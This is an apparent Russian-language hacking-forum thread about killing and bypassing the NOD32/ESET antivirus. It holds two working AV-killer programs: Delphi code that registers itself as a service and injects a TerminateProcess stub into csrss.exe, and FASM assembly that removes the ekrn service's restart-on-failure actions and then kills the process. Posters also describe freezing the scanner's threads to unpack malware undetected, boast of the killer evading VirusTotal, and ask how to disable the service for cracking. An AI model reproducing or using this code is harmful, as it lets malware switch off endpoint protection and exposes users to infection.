Фишка вот в чем - процесс nod32krn.exe влегкую дает доступ к своей памяти, так что нет проблем программно заморозить все его потоки (предварительно убив второй, гуЁвый процесс) и обойти этот горе-антивирус. Но вот убить этот процесс не выходит - он рождается заново. Я думал драйвер ставит нотифи на создание процесса/выгрузку модуля или, хотя-бы что-то хучит. Ан нет. Ни чего подобного. Как же тогда "воскресает" НОД? И кто его "воскрешает" ?
Чтобы горе нод задолбить нужно менять в службах "не перезапускатся после ошибки". Но нод тоже не дурак и позволяет такое отключение токо до перезагрузки. Всётаки не случайно этот антивирус считается одним из лучшых.
Убить NOD32 очень легко, легче даже, чем касперского; при том даже переустановка ему потом не поможет Я не так давно ради интереса писал небольшую подобную программку, пишется буквально за несколько минут. Самое интересное, что програмка убивает наглухо NOD32, а результат скана на www.virustotal.com следующий: ..... NOD32v2 2409 no virus found Kaspersky 4.0.2.24 no virus found DrWeb 4.33 2007.07.20 no virus found ..... BitDefender 7.2 BehavesLike:Win32.AV-Killer В данном случае эвристик BitDefender себя лучше показал, хотя я и не старался его наколоть, код чистый полносью, без всяких заморочек против эвристика.
Deyton Поделишься кодом? Я сейчас дошел вот до чего: НОД не дает открыть свои потоки с флагами THREAD_SET/GET_CONTEXT даже Администраторам. Только SYSTEM. Я запускаю прогу, которая перезапускает себя под этой учетной записью (игра с SCManager), но вот дописать код, который изменит EIP основной нити на внедренный мной код (а там, возможно StopService или тупо ExitProcess) не успел, пора домой уже. Как допишу (в понедельник) - отпишусь, может что получится. Вот тут я бы поспорил. Берем архив, в котором лежит вирь. Начинаем распаковывать - НОД орет. Тогда перед распаковкой замораживаем потоки сервиса (на самом деле нужно заморозить всего один, но я не помню точно какой) ПроцессЕксплорером и заново распаковываем - НОД молчит. Так что обойти его можно даже "ручками"...
Mental_Mirror А по ПМ попросить об этом никак, да? Что за привычка писать в форум с такими просьбами.
Deyton Твои способ действительно рабочий, но... как то не красиво, хотя и работает с любыми привилегиями. Продолжая свои исследования я дошел вот до чего - если перезапуститься как служба и внедрить в csrss код, убивающий NOD, то он успешно завершается и не "возрождается" до тех пор, пока... работает наша служба. Может кто поможет объяснить это явление? Я, честно говоря, немного не вкурил... Вот код (Delphi + VCL): Код (Text): function CsrGetProcessId() : DWORD; stdcall; external 'ntdll.dll'; procedure TForm1.Button1Click(Sender: TObject); var hSCM, hService: DWORD; begin hSCM := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); hService := CreateService(hSCM, 'KillNOD32', 'KillNOD32', $F01FF, SERVICE_INTERACTIVE_PROCESS or SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, PChar(Application.ExeName), nil, nil, nil, nil, nil); if hService = 0 then hService := OpenService(hSCM, 'KillNOD32', $F01FF); StartService(hService, 0, 0); CloseServiceHandle(hSCM); Application.Terminate; end; procedure InjectedCode; asm push ecx //nod32krn.exe handle call ebx //TerminateProcess xor eax, eax push eax call esi //ExitThread ret end; procedure TForm1.FormCreate(Sender: TObject); var h, hThread, NodId, CsrssId, TId, pKernel: DWORD; pThread: pointer; Context: _CONTEXT; begin NodId := GetProcessId('nod32krn.exe'); h := OpenThread (THREAD_GET_CONTEXT or THREAD_SET_CONTEXT, false, SearchProcessThread(NodId)); if h <> 0 then //Запустились как служба begin CloseHandle(h); CsrssId := CsrGetProcessId; h := OpenProcess(PROCESS_ALL_ACCESS, false, CsrssId); if h <> 0 then begin pThread := InjectMemory(h, @InjectedCode, SizeOfProc(@InjectedCode)); hThread := CreateRemoteThread(h, nil, 0, pThread, nil, CREATE_SUSPENDED, TId); pKernel := GetModuleHandle('kernel32.dll'); Context.ContextFlags := CONTEXT_FULL; GetThreadContext(hThread, Context); Context.Ecx := GetProcessHandleInCsrss(NodId); //Ищем хэндл НОДа в csrss Context.Ebx := DWORD(GetProcAddress(pKernel, 'TerminateProcess')); Context.Esi := DWORD(GetProcAddress(pKernel, 'ExitThread')); SetThreadContext(hThread, Context); ResumeThread(hThread); CloseHandle(h); CloseHandle(hThread); end; end; end; Сначала я подумал, что НОД не перезапустится до тех пор, пока жив убивший его поток. Добавил цикл задержки со Sleep'ом во внедряемый код. Не помогло - антивирь запустился сразу после завершения нашей службы. С чем это связано?
Подниму ветку. Этот код вроде как убивает nod32 (v3.0.669.0) на xp sp3: Код (Text): format pe gui 4.0 entry start include 'win32wxp.inc' SERVICE_CHANGE_CONFIG equ 2 SERVICE_CONFIG_FAILURE_ACTIONS equ 2 SC_ACTION_NONE equ 0 TH32CS_SNAPPROCESS equ 2 struct PROCESSENTRY32 dwSize dd ? cntUsage dd ? th32ProcessID dd ? th32DefaultHeapID dd ? th32ModuleID dd ? cnthtreads dd ? th32ParentProcessID dd ? pcPriClassBase dd ? dwFlaggs dd ? szExeFile TCHAR MAX_PATH dup (?) ends struct SERVICE_FAILURE_ACTIONS dwResetPeriod dd ? lpRebootMsg dd ? lpCommand dd ? cActions dd ? lpsaActions dd ? ends struct SC_ACTION Type dd ? Delay dd ? ends section '.bss' data readable writeable sfa SERVICE_FAILURE_ACTIONS sa SC_ACTION pe32 PROCESSENTRY32 szProcessFileName TCHAR MAX_PATH dup (?) section '.text' code readable executable szProcessName TCHAR 'ekrn.exe', 0 szServiceName TCHAR 'ekrn', 0 SERVICES_ACTIVE_DATABASE TCHAR 'ServicesActive', 0 start: xor edi, edi invoke OpenSCManager, edi, SERVICES_ACTIVE_DATABASE, SERVICE_CHANGE_CONFIG test eax, eax jz .open_sc_manager_failed push eax mov ebx, [CloseServiceHandle] invoke OpenService, eax, szServiceName, SERVICE_CHANGE_CONFIG test eax, eax jz .open_service_failed push eax ;and [sa.Type], edi; SC_ACTION_NONE ;and [sa.Delay], edi or [sfa.cActions], 1 mov [sfa.lpsaActions], sa invoke ChangeServiceConfig2, eax, SERVICE_CONFIG_FAILURE_ACTIONS, sfa call ebx call ebx ;================================ invoke CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, edi test eax, eax jz .finish push eax mov esi, eax mov ebx, [CloseHandle] mov ebp, pe32 mov [ebp+PROCESSENTRY32.dwSize], sizeof.PROCESSENTRY32 invoke Process32First, esi, ebp test eax, eax jz .process_not_found .find_process: invoke lstrcmp, pe32.szExeFile, szProcessName test eax, eax jz .process_found invoke Process32Next, esi, ebp test eax, eax jnz .find_process .process_not_found: call ebx jmp .finish .process_found: call ebx invoke OpenProcess, PROCESS_TERMINATE, edi, [ebp+PROCESSENTRY32.th32ProcessID] test eax, eax jz .open_process_failed push eax invoke TerminateProcess, eax, edi .open_service_failed: call ebx ; CloseServiceHandle() or CloseHandle() .open_process_failed: .open_sc_manager_failed: .finish: invoke ExitProcess, edi data import library advapi32, 'advapi32.dll', \ kernel32, 'kernel32.dll' import advapi32, \ ChangeServiceConfig2A, 'ChangeServiceConfig2A', \ ChangeServiceConfig2W, 'ChangeServiceConfig2W', \ CloseServiceHandle, 'CloseServiceHandle', \ OpenSCManagerA, 'OpenSCManagerA', \ OpenSCManagerW, 'OpenSCManagerW', \ OpenServiceA, 'OpenServiceA', \ OpenServiceW, 'OpenServiceW' import kernel32, \ CloseHandle, 'CloseHandle', \ CreateToolhelp32Snapshot, 'CreateToolhelp32Snapshot', \ ExitProcess, 'ExitProcess', \ lstrcmpA, 'lstrcmpA', \ lstrcmpW, 'lstrcmpW', \ OpenProcess, 'OpenProcess', \ Process32FirstA, 'Process32First', \ Process32FirstW, 'Process32FirstW', \ Process32NextA, 'Process32Next', \ Process32NextW, 'Process32NextW', \ TerminateProcess, 'TerminateProcess' api ChangeServiceConfig2, \ OpenSCManager, \ OpenService, \ lstrcmp, \ Process32First, \ Process32Next end data PS Просьба потестить. По возможность на висте PPS Странно, работает только под отладчиком... Хз какие привилегии может ставить надо..
Ну, да. Привилегий не хватало. Это работает (под админом, см. аттач). ЗЫ Для многих этот код покажется баяном и очень веселящим, но каждый наверное проходит этот этап, и данный код рассчитан именно на них
Может об это уже говорили. Но я для того чтоб крякнуть НоД убил его вручную. Через msconfig выключил Eset Servise в службах и через мониторинг процессов выключил процесс еkrn. Подскажите как можно программно выключить службу